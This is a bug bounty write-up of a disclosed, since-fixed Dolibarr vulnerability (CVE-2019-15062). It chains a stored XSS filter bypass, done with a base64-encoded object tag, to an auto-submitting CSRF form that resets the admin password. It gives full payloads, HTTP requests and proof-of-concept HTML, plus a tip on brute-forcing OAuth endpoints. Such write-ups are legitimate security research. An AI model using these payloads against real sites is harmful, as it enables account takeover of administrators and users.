In the following post, a Stored XSS vulnerability in the website was used to bypass CSRF protection to completely takeover Admin account. A Stored XSS itself is considered a High-Risk Vulnerability but the key policy to show maximum impact is by escalating the issue where it is extremely harmful to the organization. In the below case scenario, there were various protection mechanisms for preventing CSRF, but a simple Cross-Site Scripting could takeover any user on the website. If you are new to Cross-Site Scripting, read this blog. Below this, I’ll explain what is a Cross-Site Request Forgery after which will be a detailed explanation of the Case Study. The vulnerability is described in the below case study after which there is a Bug Bounty Tip. These tips are generally picked from Twitter by the #bugbountytip in search. Any interesting tip found would surely be added on the blogs. Please don’t forget to read the Bug Bounty Tip at the end of each post and like, share and subscribe to the Blog.
Cross-Site Request Forgery
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data since the attacker has no way to see the response to the forged request. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state-changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
Case Study: Stored XSS -> CSRF -> Admin Account Takeover
The application Dolibarr 11.0.0-alpha under test was a three-tier web application – Presentation tier (Front-End/User Interface), Application Tier (Functional Logic) and Data-Tier (Databases). The application is a CRM application used for scheduling meetings, phone calls and sending Emails. The application had a feature for admins to add files or URL’s related specifically for users of the application
First analysis: With the admin account under consideration, the label textbox under Linked Files was tested for Cross-Site Scripting. It turns out, the application did whitelist certain tags which prevented our malicious payload from Executing.
Request1: <svg/onload=alert(1)> Response: 400 Error … Malicious payload was provided to the application …
Request 2: <img src=x onerror=alert(1)> Response: (Same) 400 Error … Malicious payload was provided to the application …
Many payloads were tested to find which would be accepted. Finally, a payload was crafted as follows:
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoIlhTUyIpPg==>
It was observed that the object tag was unfiltered by the application. Hence the payload <svg/onload=alert(“XSS”)> was base64 encoded as PHN2Zy9vbmxvYWQ9YWxlcnQoIlhTUyIpPg== and inserted int=side the object tag
Request: <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoIlhTUyIpPg==> Response: 200 OK … <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoIlhTUyIpPg==> …
And rendering it in the browser gave:
Here we had our XSS, now let’s see how CSRF comes into play.
Second Analysis:
The application was tested for CSRF Vulnerability. The POST request to card.php was used to change the details of the user. This request was such that it updated the newer values what was passed to it. These values included the first name, last name, and most importantly the password. The application had no mechanisms to validate the old password and would take the new password when sent in the POST request.
Thus, to take over any account, only a CSRF request was required and the attacker would successfully take over the account. Here’s the catch. The application had a CSRF prevention mechanism as such that the request was only made from the domain it was requested. The application had a referrer based CSRF protection mechanism. The application ignored any requests made except from the website.
After sending the CSRF request, here’s what the request and response looked like:
Request 1: POST /card.php HTTP/1.1 Host: website.com Referrer: http://burp … id=1&admin=1&update=Save&login=admin&lastname=asd&firstname=admin&password=admin000 Response: 403 Forbidden … Please check the request before sending to server …
Request 2: POST /card.php HTTP/1.1 Host: website.com Referrer: website.com … id=1&admin=1&update=Save&login=admin&lastname=asd&firstname=admin&password=admin000 Response: 200 OK … Details changed Successfully …
Bringing it all together
Now if you have guessed, the Stored XSS will now be used to bypass the SOP and thus help to execute the CSRF.
A CSRF POC was made as follows:
<html> <body onload="attack()"> <script> function attack() { document.getElementById('hidden_form').submit(); } </script> <form id="hidden_form" name="hidden_form" action="http://localhost/dolibarr/user/card.php" method="POST"> <input type="text" name="action" value="update" /><br /> <input type="text" name="id" value="1" /><br /> <input type="text" name="admin" value="1" /><br /> <input type="text" name="update" value="Save" /><br /> <input type="text" name="login" value="admin" /><br /> <input type="text" name="lastname" value="asd" /><br /> <input type="text" name="firstname" value="hacked" /><br /> <input type="text" name="password" value="admin000" /><br /> </form> </body> </html>
Now an attacker would load this CSRF POC inside an iframe tag where the Stored XSS was found.
A new payload was generated: </td></tr><object data=data:text/html;base64,PGlmcmFtZSBzcmM9Imh0dHA6Ly9sb2NhbGhvc3QvZG9saWJhcnIvY3NyZi5odG1sIj48L2lmcmFtZT4=><tr><td> in the Label.
The base64 data was an iframe with the csrf.html in the source.
Now when this iframe was loaded into the page, the auto submitting CSRF would successfully change the admin details and hence could takeover admin account.
Payload: </td></tr><object data=data:text/html;base64,PGlmcmFtZSBzcmM9Imh0dHA6Ly9sb2NhbGhvc3QvZG9saWJhcnIvY3NyZi5odG1sIj48L2lmcmFtZT4=><tr><td>
Response:
Iframe successfully inserted into the webpage
Now on opening the admin account details, its first name and last name value had changed to hacked and asd. This proved our Account takeover.
Admin account details changed.
This confirmed that the application was vulnerable for an ATO via Stored CSRF.
This wasn’t just it.
Ideally, an attacker wouldn’t straight have the permission to become an admin. He would ideally be a less privileged user. Thus, the payload had to be sent from the Linked Files of a lower privileged user. Turns out that the option for a lower privileged user to add a new link or a file is blocked. Only the administrator has the privileges to set the URL or File for a user.
On analyzing the source code via the Inspect Element feature in the browser, it was observed that the input tag which was taking the value, had an event name disabled=””. By removing this event the feature to add URL/file was now accessible to the user. Turns out that the application had only client-side validation and thus with this feature, we were successfully able to add our payload to the linked files.
Disabled event inside the input tag.
Feature activated after removing the disabled event inside input tag.
Now, when an admin would see the linked files of the user with the malicious iframe, the payload would execute and would completely take over the admin account.
The report was submitted to Dolibarr with appropriate measures. The bug has now been fixed and a CVE ID of CVE-2019-15062 is generated for this bug. To view the POC or the actual submission you can view the Github Issue here.
That’s all for this Blog. Hope you liked it.
Key Learning:
- Don’t give up if XSS payloads don’t work. Try to check various payloads or methods to bypass the fix. Many of the times even though filters are in place, they can be bypassed in creative ways. Look at this blog.
- Check the working of CSRF. Try to find ways to bypass the CSRF protection.
- Don’t stick only to reporting XSS. Try to see if you can escalate it further (Like in this case)
#BugBountyTip:
Try endpoint brute-forcing on the login page to discover hidden or legacy OAuth providers.
/login/facebook
/login/oauth/twitter
/login/oauth/v2/yahoo
P.S.: Legacy or unimplemented OAuth flows often contain vulnerabilities that can lead to account takeover.
Thankyou @intigriti and @ngalongc for this tip.